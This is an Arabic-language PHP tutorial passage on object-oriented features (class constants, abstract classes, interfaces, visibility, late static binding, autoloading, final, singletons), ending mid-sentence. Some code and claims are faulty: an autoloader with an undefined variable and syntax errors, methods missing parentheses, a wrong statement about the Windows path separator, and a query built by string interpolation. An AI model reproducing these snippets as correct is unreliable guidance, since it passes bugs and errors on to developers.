  2. تستخدم الأصناف والكائنات لجعل الشيفرة أكثر فعالية وأقل تكرارًا عن طريق تجميع الوظائف المتشابهة. يستخدم الصنف لتعريف الوظائف وبنى المعطيات المستخدمة لإنشاء كائنات، ثم تُنشأ الكائنات باستخدام البنية المعرّفة مسبقًا. ثوابت الصنف توفر ثوابت الصنف (Class constants) آلية لحمل القيم الثابتة في البرنامج، أي أنّها توفر طريقة لإعطاء اسم (وتربطه بالتحقق وقت التصريف) لقيمة ما مثل 3.14 أو "Apple"، يمكن أن تُعرَّف ثوابت الصنف باستخدام الكلمة المفتاحية const فقط ولا يمكن استخدام الدالة define لهذا الغرض. فمثلًا قد يكون من المناسب أن يكون لديك تمثيل مختصر للقيمة π في برنامجك، إليك الصنف التالي مع قيم const يوفر طريقة بسيطة لحمل مثل هذه القيم. class MathValues { const PI = M_PI; const PHI = 1.61803; } $area = MathValues::PI * $radius * $radius; يمكن الوصول لثوابت الصنف مثل المتغيرات الساكنة باستخدام عامل العمود المزدوج :: (الذي يسمى عامل دقة النطاق) على الصنف، لكن على عكس المتغيرات الساكنة فإنّ متغيرات الصنف لها قيم ثابتة وقت التصريف ولا يمكن إعادة إسناد قيم لها، (أي أنّ إضافة MathValues::PI = 7 للشيفرة السابقة ستنتج خطأً فادحًا). تفيد ثوابت الصنف أيضًا في تعريف الأشياء الداخلية للصنف التي قد تحتاج للتغيير لاحقًا (لكن لا تتغير بشكلٍ مستمر بما يكفي لتخزينها في قاعدة بيانات مثلًا)، يمكن الرجوع إليها داخليًا باستخدام عامل تحليل النطاق (Scope Resolution Operator) ‏self الذي يعمل في التنفيذات الساكنة والمستنسخة. class Labor { // الوقت اللازم لبناء عنصر مقدّرًا بالساعات const LABOR_UNITS = 0.26; // المبلغ الذي يتقاضاه العمّال في الساعة const LABOR_COST = 12.75; public function getLaborCost($number_units) { return (self::LABOR_UNITS * self::LABOR_COST) * $number_units; } } يمكن أن تحتوي ثوابت الصنف في إصدارات PHP السابقة للإصدار 5.6 على قيم عددية فقط، بينما يمكننا استخدام التعابير مع الثوابت بدءًا من الإصدار 5.6 أي أنّه يمكننا استخدام التعليمات الرياضية والسلاسل النصية مع الربط. class Labor { /** ندفع للعمال في الساعة: الأجر في الساعة * عدد الساعات لإنجاز العمل */ const LABOR_COSTS = 12.75 * 0.26; public function getLaborCost($number_units) { return self::LABOR_COSTS * $number_units; } } بدءًا من الإصدار PHP 7.0، يمكن للثوابت المعرّفة باستخدام define أن تحتوي مصفوفات. define("BAZ", array('baz')); تعدّ ثوابت الصنف مفيدة ليس فقط لتخزين المفاهيم الرياضية، فمثلًا إذا كنت تحضّر شطيرة قد يكون من المناسب أن يكون لديك صنف Pie واحد قادر على أخذ أنواع مختلفة من الفاكهة. class Pie { protected $fruit; public function __construct($fruit) { $this->fruit = $fruit; } } بعدها يمكننا استخدام الصنف Pie كالتالي: $pie = new Pie("strawberry"); المشكلة التي تظهر هنا هي أنّه عند استنساخ الصنف Pie لا يوجد إرشادات للقيم المقبولة، فمثلًا عند صنع شطيرة "boysenberry" قد تُكتب مع خطأ إملائي "boisenberry"، بالإضافة إلى ذلك قد لا تريد دعم صنع شطيرة خوخ. لذا سيكون من المفيد أن يكون لدينا قائمة معرّفة مسبقًا تحوي أنواع الفاكهة المقبولة موجودة في مكان ما بحيث يمكن ملاحظتها وليكن صنف نسميه Fruit: class Fruit { const APPLE = "apple"; const STRAWBERRY = "strawberry"; const BOYSENBERRY = "boysenberry"; } $pie = new Pie(Fruit::STRAWBERRY); يوفر وضع القيم المقبولة في قائمة ثوابت الصنف دليلًا للقيم التي يقبلها التابع، كما يضمن أن لا يقبل المصرّف الأخطاء الإملائية التي قد تحدث، فبينما يقبل المصرّف new Pie('aple')‎ وnew Pie('apple')‎ ستنتج الشيفرة new Pie(Fruit::APLE)‎ خطأ تصريف (compiler error). كما إنّ استخدام ثوابت الصنف يعني أنّ القيمة الفعلية للثابت يمكن تعديلها في مكان واحد وأيّ شيفرة تستخدم هذا الثابت ستتأثر بهذا التغيير تلقائيًا. إنّ الطريقة الشائعة للوصول إلى ثابت الصنف هي MyClass::CONSTANT_NAME، لكن يمكن الوصول إليها بالطريقة التالية: echo MyClass::CONSTANT; $classname = "MyClass"; // PHP 5.3.0 بدءًا من echo $classname::CONSTANT; تسمى عادةً ثوابت الصنف بأحرف كبيرة مع استخدام الشرطة السفلية _ للفصل بين الكلمات، بالرغم من أنّه يمكن استخدام أي تسمية صحيحة لتسمية ثابت الصنف. بدءًا من الإصدار PHP 7.1 يمكن تعريف ثوابت الصنف بمرئيات مختلفة عن النطاق العام الافتراضي، أي يمكن تعريف ثوابت صنف خاصة (private) ومرئية (protected) لمنعها من التسرّب غير الضروري إلى النطاق العام، مثال: class Something { const PUBLIC_CONST_A = 1; public const PUBLIC_CONST_B = 2; protected const PROTECTED_CONST = 3; private const PRIVATE_CONST = 4; } define مقابل ثوابت الصنف بالرغم من أنّ هذه البنية صحيحة: function bar() { return 2; }; define('BAR', bar()); لكن سيظهر خطأ إذا حاولت القيام بذلك مع ثوابت الصنف: function bar() { return 2; }; class Foo { const BAR = bar(); // Constant expression contains invalid operations } لكن يمكنك كتابة التالي: function bar() { return 2; }; define('BAR', bar()); class Foo { const BAR = BAR; } استخدام ‎::class‎ للحصول على اسم الصنف قدمت PHP 5.5 الصياغة ‎::class للحصول على اسم الصنف الكامل?? مع مراعاة نطاق فضاء الاسم وتعليمات use. namespace foo; use bar\Bar; echo json_encode(Bar::class); // "bar\\Bar" echo json_encode(Foo::class); // "foo\\Foo" echo json_encode(\Foo::class); // "Foo" تعمل الشيفرة السابقة بشكلٍ صحيح حتى لو لم تُعرَّف الأصناف، وتعدّ هذه الصياغة مفيدة للدوال التي تتطلّب اسم صنف فيمكن استخدامها مع الدالة class_exists مثلًا للتحقق من أنّ صنف ما معرّف. لن تظهر أخطاء في الشيفرة التالية بغض النظر عن القيمة المعادة: class_exists(ThisClass\Will\NeverBe\Loaded::class, false); الأصناف المجردة الصنف المجرد (abstract class) هو الصنف الذي لا يمكن استنساخه، ويمكن له أن يعرّف توابعًا مجردة أي توابع لها تعريف فقط من دون جسم: abstract class MyAbstractClass { abstract public function doSomething($a, $b); } يمكن أن توسَّع الأصناف المجردة بصنف ابن يحقق تنفيذ هذه التوابع المجردة، إذ أنّ الهدف الأساسي للصنف المجرد هو تعريف قالب يسمح للأصناف الأبناء بالوراثة منه وفق بنية معينة، إليك المثال التالي الذي ننفذ فيه واجهة Worker بعد تعريفها: interface Worker { public function run(); } لتسهيل تطوير المزيد من تطبيقات الواجهة Worker ننشئ الصنف المجرد worker المزود بالتابع ‎run()‎ من الواجهة ويحدد بعض التوابع المجردة لتُملأ في الأصناف الأبناء: abstract class AbstractWorker implements Worker { protected $pdo; protected $logger; public function __construct(PDO $pdo, Logger $logger) { $this->pdo = $pdo; $this->logger = $logger; } public function run() { try { $this->setMemoryLimit($this->getMemoryLimit()); $this->logger->log("Preparing main"); $this->prepareMain(); $this->logger->log("Executing main"); $this->main(); } catch (Throwable $e) { // تلتقط وتعيد رمي كل الأخطاء حتى يتمكن العامل من تسجيلها $this->logger->log("Worker failed with exception: {$e->getMessage()}"); throw $e; } } private function setMemoryLimit($memoryLimit) { ini_set('memory_limit', $memoryLimit); $this->logger->log("Set memory limit to $memoryLimit"); } abstract protected function getMemoryLimit(); abstract protected function prepareMain(); abstract protected function main(); } وضعنا في البداية تابعًا مجردًا getMemoryLimit()‎، يحتاج أي صنف يرث الصنف AbstractWorker أن ينفذ هذا التابع ويعيد قيد الذاكرة. ثم يضبط AbstractWorker قيد الذاكرة ويسجّله. يستدعي الصنف AbstractWorker بعد ذلك التوابع prepareMain()‎ وmain()‎، ثم تُجمّع كل استدعاءات التوابع هذه في كتلة try-catch فإذا رمى أي من التوابع المجردة المعرفة من الصنف الابن استثناءً سنلتقط هذا الاستثناء ونسجّله ونعيد رميه، وهذا يمنع كل الأصناف الأبناء من الاضطرار إلى تنفيذ هذا الإجراء. لنعرّف صنف ابن يوسّع الصنف AbstractWorker: class TranscactionProcessorWorker extends AbstractWorker { private $transactions; protected function getMemoryLimit() { return "512M"; } protected function prepareMain() { $stmt = $this->pdo->query("SELECT * FROM transactions WHERE processed = 0 LIMIT 500"); $stmt->execute(); $this->transactions = $stmt->fetchAll(); } protected function main() { foreach ($this->transactions as $transaction) { // (1) $stmt = $this->pdo->query("UPDATE transactions SET processed = 1 WHERE id ={$transaction['id']} LIMIT 1"); $stmt->execute(); } } } قد يُرمى استثناء PDO أو MYSQL في الموضع (1) لكن يُعالج من قبل AbstractWorker. كما تلاحظ فإنّ TransactionProcessorWorker كان سهل التنفيذ حيث كان علينا فقط تحديد قيد الذاكرة والقلق بشأن الإجراءات الفعلية التي نحتاج القيام بها. لا نحتاج إلى معالجة الأخطاء في TransactionProcessorWorker لأنّها تُعالج في الصنف AbstractWorker. ملاحظة مهمة: عند الوراثة من صنف مجرد فإنّ كل التوابع المجردة الموجودة في الصنف الأب يجب أن يعرّفها الابن (أو يعيد التصريح عنها بأنّها توابع مجردة)، كما يجب تعريف هذه التوابع بنفس المرئية (أو بمرئية أقل تحديدًا)، فمثلًا إذا عُرِّف التابع المجرد أنه محمي فإنّ تنفيذه يجب أن يعرّف أنّه محمي أو عام (ولا يمكن تعريفه أنّه خاص). سيُرمى خطأً فادحًا إذا لم تعرّف توابع الأصناف الآباء المجردة في الصنف الابن كالخطأ التالي: Fatal error: Class X contains 1 abstract method and must therefore be declared abstract or implement the remaining methods (X::x) in الربط الساكن المتأخر يمكن استخدام الربط الساكن المتأخر بدءًا من الإصدار PHP 5.3 للتحكم في الصنف الذي اُستدعيت منه خاصيّة ساكنة أو تابع ساكن. وأُضيف للتغلب على مشكلة عامل تحليل النطاق ‎self::‎، إليك الشيفرة التالية: class Horse { public static function whatToSay() { echo 'Neigh!'; } public static function speak() { self::whatToSay(); } } class MrEd extends Horse { public static function whatToSay() { echo 'Hello Wilbur!'; } } قد تتوقع أنّ الصنف MrEd سيعيد تعريف الدالة whatToSay()‎ في الصنف الأب لكن عند التنفيذ ستكون النتيجة غير متوقعة: Horse::speak(); // Neigh! MrEd::speak(); // Neigh! المشكلة هي أنّ self::whatToSay();‎ يمكن أن يشير إلى الصنف Horse فقط أي أنّه لن يتأثر بالصنف MrEd، لن نواجه هذه المشكلة إذا بدلنا إلى عامل تحليل النطاق static::‎، وبهذه الطريقة سيتأثر الصنف بالنسخة التي تستدعيه فنحصل على الوراثة التي نتوقعها: class Horse { public static function whatToSay() { echo 'Neigh!'; } public static function speak() { // ربط ساكن متأخر static::whatToSay(); } } Horse::speak(); // Neigh! MrEd::speak(); // Hello Wilbur! فضاء التسمية والتحميل التلقائي يعمل التحميل التلقائي (Autoloading) تقنيًا بتنفيذ رد نداء عندما يُطلب صنف PHP ولا يُعثر عليه، عادةً ما تحاول ردود النداء تحميل هذه الأصناف. يمكن أن يُفهم التحميل التلقائي بشكلٍ عام أنّه محاولة لتحميل ملفات PHP (خاصةً ملفات الصنف حيث يكون الملف المصدري مخصصًا لصنف معين) من المسارات المناسبة حسب الاسم الكامل المؤهل (FQN) عند الحاجة إلى الصنف. بفرض لدينا الأصناف التالية: ملف الصنف application\controllers\Base: <?php namespace application\controllers { class Base {...} } ملف الصنف application\controllers\Control: <?php namespace application\controllers { class Control {...} } ملف الصنف application\models\Page: <?php namespace application\models { class Page {...} } تتوضع هذه الأصناف في المجلد المصدر وفقًا لأسمائها الكاملة المؤهلة كالتالي: المجلد المصدر applications controllers Base.php Control.php models Page.php تجعل هذه الطريقة من الممكن الحصول على مسار ملف الصنف برمجيًا وفق الاسم الكامل المؤهل (FQN) باستخدام هذه الدالة: function getClassPath(string $sourceFolder, string $className, string $extension = ".php") { return $sourceFolder . "/" . str_replace("\\", "/", $className) . $extension; } لاحظ أنّ / هو الفاصل بين المجلدات في ويندوز. تسمح لنا الدالة spl_autoload_register بتحميل الصنف الذي نحتاجه باستخدام دالة معرفة من قبل المستخدم: const SOURCE_FOLDER = __DIR__ . "/src"; spl_autoload_register(function (string $className) { $file = getClassPath(SOURCE_FOLDER, $className); if (is_readable($file)) require_once $file; }); يمكن لهذه الدالة أن توسَّع لاستخدام توابع قيم تراجعية (fallback) للتحميل: const SOURCE_FOLDERS = [__DIR__ . "/src", "/root/src"]); spl_autoload_register(function (string $className) { foreach(SOURCE_FOLDERS as $folder) { $extensions = [ // ؟src/Foo/Bar.php5_int64 هل يوجد لدينا ".php" . PHP_MAJOR_VERSION . "_int" . (PHP_INT_SIZE * 8), // ؟src/Foo/Bar.php7 هل يوجد لدينا ".php" . PHP_MAJOR_VERSION, // ؟src/Foo/Bar.php_int64 هل يوجد لدينا ".php" . "_int" . (PHP_INT_SIZE * 8), // ؟src/Foo/Bar.phps هل يوجد لدينا ".phps" // ؟src/Foo/Bar.php هل يوجد لدينا ".php" ]; foreach($extensions as $ext) { $path = getClassPath($folder, $className, $extension); if(is_readable($path)) return $path; } } }); لاحظ أنّ PHP لا تحاول تحميل الصنف كلما حُمِّل ملف يستخدمه، فقد تحمّله في وسط السكربت أو عند توقف الدوال وهذا إحدى الأسباب التي تجعل المطورين، خاصة الذين يستخدمون التحميل التلقائي، يتجنبوا استبدال ملفات المصدر التنفيذية في وقت التنفيذ خاصةً في ملفات phar. مرئية التوابع والخاصيّات لدينا ثلاث أنواع للمرئية يمكن استخدامها للتوابع (دوال الصنف/الكائن) والخاصيّات (متغيرات الصنف/الكائن) داخل الصنف مما يوفر تحكم بالوصول لهذه التوابع والخاصيّات. public: المرئية العامة يعني التصريح عن تابع أو خاصيّة بأنّهما public أنّه يمكن الوصول إليهما من الصنف الذي صرّح عنهما والأصناف التي ترثه وأيّ كائنات أو أصناف خارجية أو شيفرة خارج هرمية الصنف، مثال: class MyClass { // خاصيّة public $myProperty = 'test'; // تابع public function myMethod() { return $this->myProperty; } } $obj = new MyClass(); echo $obj->myMethod(); // test echo $obj->myProperty; // test Protected: المرئية المحمية يعني التصريح عن تابع أو خاصيّة بأنّهما protected أنّه يمكن الوصول إليهما من الصنف الذي صرّح عنهما والأصناف التي ترثه، ولا يمكن الوصول إليهما من الكائنات أو الأصناف الخارجية أو الشيفرة خارج هرمية الصنف. إذا استخدمتهما شيفرة لا تملك إمكانية الوصول إليهما سيُرمى خطأ. مثال: class MyClass { protected $myProperty = 'test'; protected function myMethod() { return $this->myProperty; } } class MySubClass extends MyClass { public function run() { echo $this->myMethod(); } } $obj = new MySubClass(); // MyClass::myMethod(); يستدعي السطر التالي $obj->run(); // test $obj->myMethod(); // خطأ // Fatal error: Call to protected method MyClass::myMethod() from context '' يوضح المثال السابق أنّه يمكن الوصول إلى العناصر المحمية من ضمن نطاقها، أي "الذي يوجد في المنزل يمكن الوصول إليه من داخل المنزل فقط". Private: المرئية الخاصة يعني التصريح عن تابع أو خاصيّة بأنّهما private أنّه يمكن الوصول إليهما من الصنف الذي صرّح عنهما فقط (ولا يمكن الوصول إليهما من الأصناف الفرعية). لاحظ أنّ الكائنات من نفس النوع ستصل إلى العناصر الخاصة والمحمية لبعضها لبعض حتى لو لم تكن نفس النسخ. class MyClass { private $myProperty = 'test'; private function myPrivateMethod() { return $this->myProperty; } public function myPublicMethod() { return $this->myPrivateMethod(); } public function modifyPrivatePropertyOf(MyClass $anotherInstance) { $anotherInstance->myProperty = "new value"; } } class MySubClass extends MyClass { public function run() { echo $this->myPublicMethod(); } public function runWithPrivate() { echo $this->myPrivateMethod(); } } $obj = new MySubClass(); $newObj = new MySubClass(); $obj->run(); // (1) // test $obj->modifyPrivatePropertyOf($newObj); $newObj->run(); // new value echo $obj->myPrivateMethod(); // خطأ // Fatal error: Call to private method MyClass::myPrivateMethod() from context '' echo $obj->runWithPrivate(); // خطأ // Fatal error: Call to private method MyClass::myPrivateMethod() from context 'MySubClass' في الموضع (1) سيُستدعى MyClass::myPublicMethod()‎ ثم MyClass::myPrivateMethod()‎. كما تلاحظ يمكن الوصول إلى التابع/الخاصيّة الخاصة فقط من الصنف الذي عرفهما. الواجهات الواجهات (Interfaces) هي تعريفات لواجهة برمجة التطبيقات (API) العامة ويجب أن تنفذها الأصناف، فهي تعمل "كعقود" تحدد ما الذي يجب أن تفعله الأصناف دون تحديد كيفية فعله. يشبه تعريف الواجهة تعريف الصنف لكن نستبدل كلمة interface بكلمة class: interface Foo { } يمكن أن تحتوي الواجهات توابع و/أو ثوابت ولكن ليس سمات، ثوابت الواجهة لها نفس قيود ثوابت الصنف، وتوابع الواجهة مجردة ضمنيًّا: interface Foo { const BAR = 'BAR'; public function doSomething($param1, $param2); } ملاحظة: يجب ألا تصرّح الواجهات عن بواني (constructors) أو هوادم (destructors) لأن تفاصيل التنفيذ هذه على مستوى الصنف. التطبيق أي صنف يحتاج لتنفيذ واجهة يجب أن يستخدم الكلمة المفتاحية implements، للقيام بذلك يحتاج الصنف أن يوفر تنفيذًا لكل تابع مصرَّح عنه في الواجهة مع الحفاظ على نفس البصمة، ويمكن للصنف الواحد أن ينفذ أكثر من واجهة واحدة في نفس الوقت. interface Foo { public function doSomething($param1, $param2); } interface Bar { public function doAnotherThing($param1); } class Baz implements Foo, Bar { public function doSomething($param1, $param2) { // ... } public function doAnotherThing($param1) { // ... } } لا تحتاج الأصناف المجردة عندما تنفذ الواجهات إلى تنفيذ كل التوابع، وأي تابع لا يُنفَّذ في الصنف الأساسي يجب تنفيذه في الصنف الذي يوسّعه: abstract class AbstractBaz implements Foo, Bar { // تنفيذ جزئي للواجهة المطلوبة... public function doSomething($param1, $param2) { // ... } } class Baz extends AbstractBaz { public function doAnotherThing($param1) { // ... } } لاحظ أنّ تطبيق الواجهة ميزة موروثة، عند توسيع صنف ينفذ واجهة فأنت لا تحتاج لإعادة التصريح عنها في الصنف الابن لأنّ هذا محقق ضمنيًّا. ملاحظة: قبل الإصدار PHP 5.3.9 لم يكن بإمكان الصنف أن ينفذ واجهتين بهما تابع بنفس الاسم لأنّ هذا قد يسبب التباسًا، بينما تسمح الإصدارات الأحدث بذلك طالما أنّ التوابع المكررة ليس لها نفس البصمة. الوراثة يمكن إنشاء علاقة وراثة بين الواجهات مثل الأصناف باستخدام الكلمة المفتاحية extends، الفرق الأساسي هو أنّ الوراثة المتعددة مسموحة في الواجهات: interface Foo { } interface Bar { } interface Baz extends Foo, Bar { } أمثلة إليك مثال بسيط لواجهة مركبة، يمكن للمركبات أن تتحرك إلى الأمام والخلف. interface VehicleInterface { public function forward(); public function reverse(); ... } class Bike implements VehicleInterface { public function forward() { $this->pedal(); } public function reverse() { $this->backwardSteps(); } protected function pedal() { ... } protected function backwardSteps() { ... } ... } class Car implements VehicleInterface { protected $gear = 'N'; public function forward() { $this->setGear(1); $this->pushPedal(); } public function reverse() { $this->setGear('R'); $this->pushPedal(); } protected function setGear($gear) { $this->gear = $gear; } protected function pushPedal() { ... } ... } ثم ننشئ صنفين ينفذان الواجهة: الدراجة والسيارة، يوجد اختلاف كبير داخليًا بين الدراجة والسيارة لكن كلّ منهما مركبة ويجب أن تنفذ نفس التوابع العامة التي توفرها واجهة المركبة VehicleInterface. تسمح ميزة التلميح عن النوع (Typehinting) للتوابع والدوال أن تطلب واجهات. بفرض أنّه لدينا صنف مرآب للسيارات يحتوي كل أنواع المركبات. class ParkingGarage { protected $vehicles = []; public function addVehicle(VehicleInterface $vehicle) { $this->vehicles[] = $vehicle; } } بما أنّ الدالة addVehicle تتطلب متغيرًا ‎$vehicle من النوع واجهة VehicleInterface - ليس تنفيذ حقيقي - يمكننا أن نجعل الدخل من النوع دراجة أو سيارة مما يمكّن الصنف ParkingGarage من معالجتها واستخدامها. الكلمة المفتاحية Final تمنع الكلمة المفتاحية Final الأصناف الأبناء من إعادة تعريف تابع مسبوقة بالكلمة final، إذا عُرِّف الصنف أنّه نهائي (final) فلا يمكن توسيعه. التابع النهائي class BaseClass { public function test() { echo "BaseClass::test() called\n"; } final public function moreTesting() { echo "BaseClass::moreTesting() called\n"; } } class ChildClass extends BaseClass { public function moreTesting() { echo "ChildClass::moreTesting() called\n"; } } // Fatal error: Cannot override final method BaseClass::moreTesting() الصنف النهائي final class BaseClass { public function test() { echo "BaseClass::test() called\n"; } // من غير الهام هنا إن عُرِّفت الدالة أنّها نهائية أو لم تُعرَّف final public function moreTesting() { echo "BaseClass::moreTesting() called\n"; } } class ChildClass extends BaseClass { } // Fatal error: Class ChildClass may not inherit from final class (BaseClass) الثوابت النهائية لا تستخدم الكلمة المفتاحية final لثوابت الصنف في PHP، على عكس لغة Java. ويمكن استخدام الكلمة المفتاحية const بدلًا منها. لماذا يجب أن أستخدم الكلمة المفتاحية final؟ منع حدوث سلسلة وراثة ضخمة. تشجيع التكوّن إجبار المطور على التفكير بواجهة برمجة التطبيقات العامة للمستخدم إجبار المطور على تقليص واجهة برمجة التطبيقات العامة للكائن يمكن أن نجعل الصف المعرّف أنّه final موسِّعًا تحطم الكلمة المفتاحية extends التغليف لا تحتاج إلى المرونة بإمكانك تغيير الشيفرة بحريّة لماذا يجب أن أتجنب استخدام الكلمة المفتاحية final؟ تعمل الأصناف النهائية بشكلٍ فعال فقط في وجود الافتراضات التالية: يوجد تجريد (واجهة) ينفذه الصنف النهائي كل واجهة برمجة التطبيقات العامة للصنف النهائي هي جزء من تلك الواجهة التحميل التلقائي ‏بالطبع أنت لا ترغب في استخدام include وrequire في كل مرة تريد استخدام صنف أو وراثته، لأنّ هذا قد يكون سيئًا وسهل النسيان لذا وفرت PHP التحميل التلقائي (autoloading). ما هو التحميل التلقائي بالضبط؟ يعني التحميل التلقائي أنّك لا تحتاج للحصول على الملف المخزّن فيه الصنف المطلوب إنّما تقوم PHP "تلقائيًا" بتحميله. كيف يمكن أن أقوم بالتحميل التلقائي في PHP دون شيفرة من طرف ثالث؟ يمكننا استخدام الدالة ‎_autoload‎_ للقيام بالتحميل التلقائي لكن يفضّل استخدام الدالة spl_autoload_register، تستخدم PHP هذه الدوال عندما لا تجد صنف ما معرفًا ضمن النطاق المعطى. إنّ إضافة التحميل التلقائي إلى مشروع موجود لا يشكل مشكلة بما أنّ الأصناف المعرّفة (باستخدام require) ستعمل كما في السابق. ستستخدم الأمثلة التالية دوال مجهولة فإذا كنت تستخدم إصدار PHP ‎‎< 5.3 يمكنك تعريف الدالة وتمرير اسمها كوسيط للدالة spl_autoload_register. أمثلة spl_autoload_register(function ($className) { $path = sprintf('%s.php', $className); if (file_exists($path)) { include $path; } else { // الملف غير موجود } }); تحاول الشيفرة السابقة تضمين اسم الملف الذي هو نفس اسم الصنف ومضافًا إليه اللاحقة "‎.php" باستخدام sprintf، إذا احتجنا لتحميل FooBar فإنّها تبحث عن FooBar.php وتضمّنه. وبالطبع يمكن توسيع هذه الشيفرة لتناسب احتياجات مشروعنا، إذا اُستخدمت _ في اسم الصف للتجميع مثل User_Post وUser_Image فمن الممكن تخزين هذه الأصناف في مجلد اسمه "User" كالتالي: spl_autoload_register(function ($className) { // استبدال بالمحرف / أو \ وذلك حسب نظام التشغيل $path = sprintf('%s.php', str_replace('_', DIRECTORY_SEPARATOR, $className) ); if (file_exists($path)) { include $path; } else { // الملف غير موجود } }); سيُحمّل الصنف User_Post الآن من المسار "User/Post.php" وهكذا. يمكن أن تتناسب الدالة spl_autoload_register مع الاحتياجات المختلفة، فإذا كانت كل ملفات أصنافك مُسمّاة بالشكل "class.CLASSNAME.php" ستوجد تداخلات مختلفة (UserPostContent => "User/Post/Content.php"‎). إذا كنت تريد تقنية تحميل تلقائي أكثر تفصيلًا ولا تريد استخدام composer يمكنك أن تعمل دون إضافة مكتبات من طرف ثالث. spl_autoload_register(function ($className) { $path = sprintf('%1$s%2$s%3$s.php', realpath(dirname(__FILE__)), DIRECTORY_SEPARATOR, strtolower( // استبدال بالمحرف / أو \ وذلك حسب نظام التشغيل str_replace('_', DIRECTORY_SEPARATOR, $className) ) ); if (file_exists($path)) { include $path; } else { throw new Exception( sprintf('Class with name %1$s not found. Looked in %2$s.', $className, $path ) ); } }); في الشيفرة السابقة ‎%1$s للحصول على المسار المطلق و‎%2$s إما / أو \ وذلك حسب نظام التشغيل و‎%3$s لعدم الاهتمام فيما إذا كانت الأحرف صغيرة أو كبيرة عند إنشاء الملفات. باستخدام المحمّلات التلقائية مثل هذه يمكنك كتابة الشيفرة التالية: // spl_autoload_register المكان الذي عُرِّف فيه require_once './autoload.php'; $foo = new Foo_Bar(new Hello_World()); استخدام الأصناف: class Foo_Bar extends Foo {} class Hello_World implements Demo_Classes {} ستضمّن هذه الأمثلة الأصناف من foo/bar.php، ‏foo.php، ‏hello/world.php وdemo/classes.php. ‎استدعاء باني أب عند استنساخ ابن من المشاكل الشائعة للأصناف الأبناء هي أنّه إذا احتوى كل من الأب والابن تابعًا بانيًا ‎__construct()‎ فسيُنفَّذ باني الصنف الابن فقط، قد تحتاج أحيانًا إلى تنفيذ باني الصنف الأب من داخل الصنف الابن عندها يمكنك استخدام عامل تحليل النطاق ‎::parent بالشكل التالي: parent::__construct(); إليك مثالًا واقعيًا: class Foo { function __construct($args) { echo 'parent'; } } class Bar extends Foo { function __construct($args) { parent::__construct($args); } } سيؤدي تنفيذ الشيفرة السابقة إلى تنفيذ باني الصنف الأب وبالتالي ستُنفَّذ تعليمة echo. الربط الديناميكي يعدّ الربط الديناميكي (ويسمىّ أيضًا إعادة تعريف التابع) مثالًا للتعددية الشكلية وقت التنفيذ والتي تحدث عندما تحتوي عدة أصناف على تنفيذات مختلفة لنفس التابع لكن الكائن الذي سيستدعيه التابع لا يُعرف حتى وقت التنفيذ، ويعد هذا مفيدًا إذا حدد شرط معين أيّ صنف سيُستخدم لأداء وظيفة ما حيث هذه الوظيفة لها نفس الاسم في كلا الصنفين. interface Animal { public function makeNoise(); } class Cat implements Animal { public function makeNoise { $this->meow(); } ... } class Dog implements Animal { public function makeNoise { $this->bark(); } ... } class Person { const CAT = 'cat'; const DOG = 'dog'; private $petPreference; private $pet; public function isCatLover(): bool { return $this->petPreference == self::CAT; } public function isDogLover(): bool { return $this->petPreference == self::DOG; } public function setPet(Animal $pet) { $this->pet = $pet; ‏ } public function getPet(): Animal { return $this->pet; } } if($person->isCatLover()) { $person->setPet(new Cat()); } else if($person->isDogLover()) { $person->setPet(new Dog()); } $person->getPet()->makeNoise(); في المثال السابق لا يُعرف الصنف Animal ‏(Dog|Cat) الذي سينفذ التابع makeNoise إلى وقت التنفيذ وفقًا للخاصيّة ضمن الصنف User. ‎$this، ‏self، ‏static ونمط المفردة (singleton) نستخدم ‎$this للإشارة إلى الكائن الحالي وself للإشارة إلى الصنف الحالي، وبمعنى آخر نستخدم ‎$this->member للعناصر غير الساكنة وself::$member‎ للعناصر الساكنة. لاحظ الفرق في المثال التالي الذي تستخدم فيه الدالة sayHello()‎ ‏‎$this وتستخدم الدالة ‎sayGoodbye()‎ ‏self: class Person { private $name; public function __construct($name) { $this->name = $name; } public function getName() { return $this->name; } public function getTitle() { return $this->getName()." the person"; } public function sayHello() { echo "Hello, I'm ".$this->getTitle()."<br/>"; } public function sayGoodbye() { echo "Goodbye from ".self::getTitle()."<br/>"; } } class Geek extends Person { public function __construct($name) { parent::__construct($name); } public function getTitle() { return $this->getName()." the geek"; } } $geekObj = new Geek("Ludwig"); $geekObj->sayHello(); $geekObj->sayGoodbye(); تشير الكلمة المفتاحية static إلى أي صنف في الهرمية تستدعي عليه التابع، وتسمح بإعادة استخدام أفضل لخصائص الصنف الساكنة عندما تورَّث الأصناف. إليك المثال التالي: class Car { protected static $brand = 'unknown'; public static function brand() { return self::$brand."\n"; } } class Mercedes extends Car { protected static $brand = 'Mercedes'; } class BMW extends Car { protected static $brand = 'BMW'; } echo (new Car)->brand(); echo (new BMW)->brand(); echo (new Mercedes)->brand(); نتيجة الشيفرة السابقة: unknown unknown unknown وذلك لأنّ self تشير إلى الصنف Car بغض النظر من أين اُستدعت brand()‎، لذا فأنت تحتاج لاستخدام static للإشارة إلى الصنف الصحيح وذلك بالشكل التالي: class Car { protected static $brand = 'unknown'; public static function brand() { return static::$brand."\n"; } } class Mercedes extends Car { protected static $brand = 'Mercedes'; } class BMW extends Car { protected static $brand = 'BMW'; } echo (new Car)->brand(); echo (new BMW)->brand(); echo (new Mercedes)->brand(); ستنتج هذه الشيفرة الخرج المطلوب والذي هو: unknown BMW Mercedes نمط المفردة (singleton) إذا كان لديك كائن مكلّف بإنشاء اتصال مع مورد خارجي أو يمثّل اتصال إلى مورد خارجي معين فأنت تحتاج إلى إعادة استخدام اتصال بقاعدة البيانات حيث لا يوجد تجمّع اتصال أو مقبس إلى نظام آخر، عندها يمكنك أن تستخدم الكلمات المفتاحية static وself في الصنف ليصبح بنمط المفردة. يوجد آراء مختلفة حول نمط المفردة فيما إذا كان يجب استخدامه أو لا ولكن يبقى له استخداماته. class Singleton { private static $instance = null; public static function getInstance(){ if(!isset(self::$instance)){ self::$instance = new self(); } return self::$instance; } private function __construct() { …. } } عرّفنا في الشيفرة السابقة خاصيّة ساكنة خاصة ‎$instance لتحمل مرجعية الكائن، وبما أنّها ساكنة فستُشارك بين كل كائنات هذا النوع. يستخدم التابع getInstance()‎ طريقة التهيئة المُرجأة (lazy instantiation) لتأخير إنشاء الكائنات إلى آخر لحظة ممكنة لأنك لا تريد أن تمتلئ الذاكرة بكائنات غير مستخدمة، وأيضًا تحافظ على الوقت وعلى المعالج عند تحميل الصفحة إذ لا تُحمَّل كائنات غير ضرورية. يتحقق التابع فيما إذا ضُبط الكائن وأُنشئ أم لا وتعيده وهذا يضمن إنشاء كائن واحد فقط من هذا النوع. كما عرّفنا الباني أنه خاص (private) حتى نضمن أنه من غير الممكن إنشاؤه من الخارج باستخدام الكلمة المفتاحية 